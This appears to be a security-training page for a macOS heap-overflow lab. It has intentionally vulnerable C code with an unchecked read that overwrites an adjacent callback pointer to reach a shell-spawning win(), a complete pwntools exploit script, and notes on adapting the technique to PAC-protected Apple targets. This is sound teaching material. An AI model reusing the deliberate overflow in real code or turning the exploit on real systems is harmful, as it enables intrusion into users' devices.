iOS/macOS Example Heap Overflow Exploit

This page is a small Apple-platform heap-overflow lab: a heap buffer overflow corrupts a callback pointer in the next chunk and turns that primitive into code execution. It is intentionally simple, but it is still useful for practicing heap grooming, measuring overwrite distances, and reasoning about allocator-specific layout constraints before moving to real Apple targets.

Info

Treat this as a macOS/libmalloc training lab, not as a claim that current iPhones are still exploitable with a raw win() pointer overwrite. For the broader Apple heap / PAC / modern allocator background, see the generic iOS exploiting notes.

README.md

Vuln Code

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((noinline))
static void safe_cb(void) {
    puts("[*] safe_cb() called — nothing interesting here.");
}

__attribute__((noinline))
static void win(void) {
    puts("[+] win() reached — spawning shell...");
    fflush(stdout);
    system("/bin/sh");
    exit(0);
}

typedef void (*cb_t)(void);

typedef struct {
    cb_t cb;          // <--- Your target: overwrite this with win()
    char tag[16];     // Cosmetic (helps make the chunk non-tiny)
} hook_t;

static void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

int main(void) {
    // Make I/O deterministic
    setvbuf(stdout, NULL, _IONBF, 0);

    // Print address leak so exploit doesn't guess ASLR
    printf("[*] LEAK win() @ %p\n", (void*)&win);

    // 1) Allocate the overflow buffer
    size_t buf_sz = 128;
    char *buf = (char*)malloc(buf_sz);
    if (!buf) fatal("malloc buf");
    memset(buf, 'A', buf_sz);

    // 2) Allocate the hook object (likely adjacent in same magazine/size class)
    hook_t *h = (hook_t*)malloc(sizeof(hook_t));
    if (!h) fatal("malloc hook");
    h->cb = safe_cb;
    memcpy(h->tag, "HOOK-OBJ", 8);

    // A tiny bit of noise to look realistic (and to consume small leftover holes)
    void *spacers[16];
    for (int i = 0; i < 16; i++) {
        spacers[i] = malloc(64);
        if (spacers[i]) memset(spacers[i], 0xCC, 64);
    }

    puts("[*] You control a write into the 128B buffer (no bounds check).");
    puts("[*] Enter payload length (decimal), then the raw payload bytes.");

    // 3) Read attacker-chosen length and then read that many bytes → overflow
    char line[64];
    if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
    unsigned long n = strtoul(line, NULL, 10);

    // BUG: no clamp to 128
    ssize_t got = read(STDIN_FILENO, buf, n);
    if (got < 0) fatal("read");
    printf("[*] Wrote %zd bytes into 128B buffer.\n", got);

    // 4) Trigger: call the hook's callback
    puts("[*] Calling h->cb() ...");
    h->cb();

    puts("[*] Done.");
    return 0;
}

Compile it with:

clang -O0 -g -Wall -Wextra -std=c11 -o heap_groom vuln.c

Why this example still matters on modern Apple targets

  • The core skill is still valid: turn a controllable overflow into a targeted adjacent-object overwrite.
  • The important Apple-specific lesson is that allocator choice matters. If the overflowing chunk and the target callback land in different libmalloc zones, your overwrite never reaches the target.
  • MallocNanoZone=0 is used here only to make the lab reproducible on macOS userland. It pushes small allocations away from the Nano allocator so same-process adjacency becomes easier to study.
  • On modern iOS / arm64e targets you must also expect xzone malloc type isolation and PAC-protected control-flow pointers. In real exploits, the usual next step is not “write an unsigned function address”, but rather reuse already-signed pointers, corrupt an unsigned pointer one hop earlier, or pivot into callback-oriented / data-only primitives.

Calculating the correct overwrite distance

The exploit below brute-forces several candidate paddings, but in a lab you can often measure the exact distance once and then keep the exploit deterministic.

A simple temporary instrumentation is enough:

printf("[*] buf=%p &h->cb=%p delta=%lld\n",
       buf,
       &h->cb,
       (long long)((char *)&h->cb - buf));

If the printed delta is 560, the extra padding you need after the first 128 attacker-controlled bytes is:

extra_pad = 560 - 128 = 432

This is also a good place to verify when a compiler change, extra logging, different optimization level, or a new macOS release has shifted the heap layout enough to break a previously stable exploit.

Exploit

Warning

This exploit sets MallocNanoZone=0 to disable the NanoZone. This is needed to get adjacent allocations when calling malloc with small sizes. Without this, the allocations can land in different zones and won't be adjacent, so the overflow won't reach h->cb.

#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
# 
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform

# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
    context.clear(arch='aarch64')
else:
    context.clear(arch='amd64')

BIN = './heap_groom'

def parse_leak(line):
    m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
    if not m:
        log.failure("Couldn't parse leak")
        sys.exit(1)
    return int(m.group(1), 16)

def build_payload(win_addr, extra_pad=0):
    # We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
    padding = b'A' * 128
    if extra_pad:
        padding += b'B' * extra_pad
    # Add the win address to overwrite the function pointer
    payload = padding + p64(win_addr)
    return payload

def main():
    # On macOS, we need to disable the Nano zone for adjacent allocations
    import os
    env = os.environ.copy()
    env['MallocNanoZone'] = '0'

    # The correct padding with MallocNanoZone=0 is 432 bytes
    # This makes the total distance 560 bytes (128 buffer + 432 padding)
    # Try the known working value first, then alternatives in case of heap variation
    candidates = [
        432,    # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
        424,    # Try slightly less in case of alignment differences
        440,    # Try slightly more
        416,    # 16 bytes less
        448,    # 16 bytes more
        0,      # Direct adjacency (unlikely but worth trying)
    ]

    log.info("Starting heap overflow exploit for macOS...")

    for extra in candidates:
        log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
        p = process(BIN, env=env)

        # Read leak line
        leak_line = p.recvline()
        win_addr = parse_leak(leak_line)
        log.success(f"win() @ {hex(win_addr)}")

        # Skip prompt lines
        p.recvuntil(b"Enter payload length")
        p.recvline()

        # Build and send payload
        payload = build_payload(win_addr, extra_pad=extra)
        total_len = len(payload)

        log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")

        # Send length and payload
        p.sendline(str(total_len).encode())
        p.send(payload)

        # Check if we overwrote the function pointer successfully
        try:
            output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
            p.recvline(timeout=0.5)  # Skip the "..." part

            # Check if we hit win()
            response = p.recvline(timeout=0.5)
            if b"win() reached" in response:
                log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
                log.success("Shell spawned, entering interactive mode...")
                p.interactive()
                return
            elif b"safe_cb() called" in response:
                log.info(f"Failed with extra_pad={extra}, safe_cb was called")
            else:
                log.info(f"Failed with extra_pad={extra}, unexpected response")
        except:
            log.info(f"Failed with extra_pad={extra}, likely crashed")

        p.close()

    log.failure("All padding attempts failed. The heap layout might be different.")
    log.info("Try running the exploit multiple times as heap layout can be probabilistic.")

if __name__ == '__main__':
    main()

Adapting the primitive to real Apple exploitation

  • Target selection: overwriting a plain C callback pointer is great for a lab. In real Apple targets you will more often hit vtables, ObjC/CF callback tables, XPC handlers, or unsigned pointers leading to signed callback structures.
  • PAC-aware hijack strategy: on arm64e, directly replacing a protected callback with an unsigned raw address often crashes. Modern exploit chains instead swap valid PAC-signed pointers with compatible signatures or corrupt an unsigned outer pointer that later reaches already-signed callbacks.
  • Allocator-aware grooming: after iOS 17, userland exploitation increasingly depends on understanding xzone malloc bucket/type isolation and not just size classes. Same-size allocations are no longer enough if they are classified into different buckets.
  • Tooling: if you want to understand why two allocations are or are not adjacent on macOS, spend a few minutes with libmalloc-specific tooling (for example, Blackwing's heapster) before debugging the exploit itself.

References